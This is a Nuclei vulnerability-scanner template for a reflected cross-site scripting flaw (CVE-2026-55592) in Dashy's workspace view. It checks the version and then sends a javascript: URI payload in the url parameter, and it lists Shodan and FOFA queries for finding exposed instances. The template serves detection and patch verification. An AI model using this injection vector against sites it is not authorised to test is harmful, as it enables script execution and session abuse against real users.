id: CVE-2026-55592

info:
  name: Dashy <= 4.3.6 - Reflected XSS via Workspace
  author: 0x_Akoko
  severity: medium
  description: |
    Dashy versions up to 4.3.6 contain a reflected cross-site scripting vulnerability in the workspace view. The url query parameter is passed directly to an iframe src attribute without scheme validation, allowing an attacker to inject javascript: URIs that execute arbitrary JavaScript in the context of the Dashy origin.
  impact: |
    If a logged-in user opens a crafted link, JavaScript executes on the Dashy origin with access to same-origin browser data, the Dashy DOM, and can send requests as the victim.
  remediation: |
    Update Dashy to version 4.3.7 or later.
  reference:
    - https://github.com/Lissy93/dashy/security/advisories/GHSA-58mp-4qr3-vmrc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55592
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-55592
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: lissy93
    product: dashy
    shodan-query: title:"Dashy"
    fofa-query: title="Dashy"
  tags: cve,cve2026,dashy,xss,reflected

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/healthz"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"version\"")'
          - 'compare_versions(version, "< 4.3.7")'
        condition: and

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'
        internal: true

      - type: regex
        part: body
        group: 1
        regex:
          - '"version"\s*:\s*"([0-9.]+)"'

  - method: GET
    path:
      - "{{BaseURL}}/workspace?url=javascript%3Aalert%28document.domain%29"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "javascript:alert(document.domain)")'
        condition: and
# digest: 4a0a0047304502207c360724378a0cb8a1f3a888a5a7ac4858a5abd653da3082d63b0880409dc731022100f148d3ad5a8d75a14a0712027d755cc4c062a02a30954c62e655fa469a0d0153:922c64590222798bb761d5b6d8e72950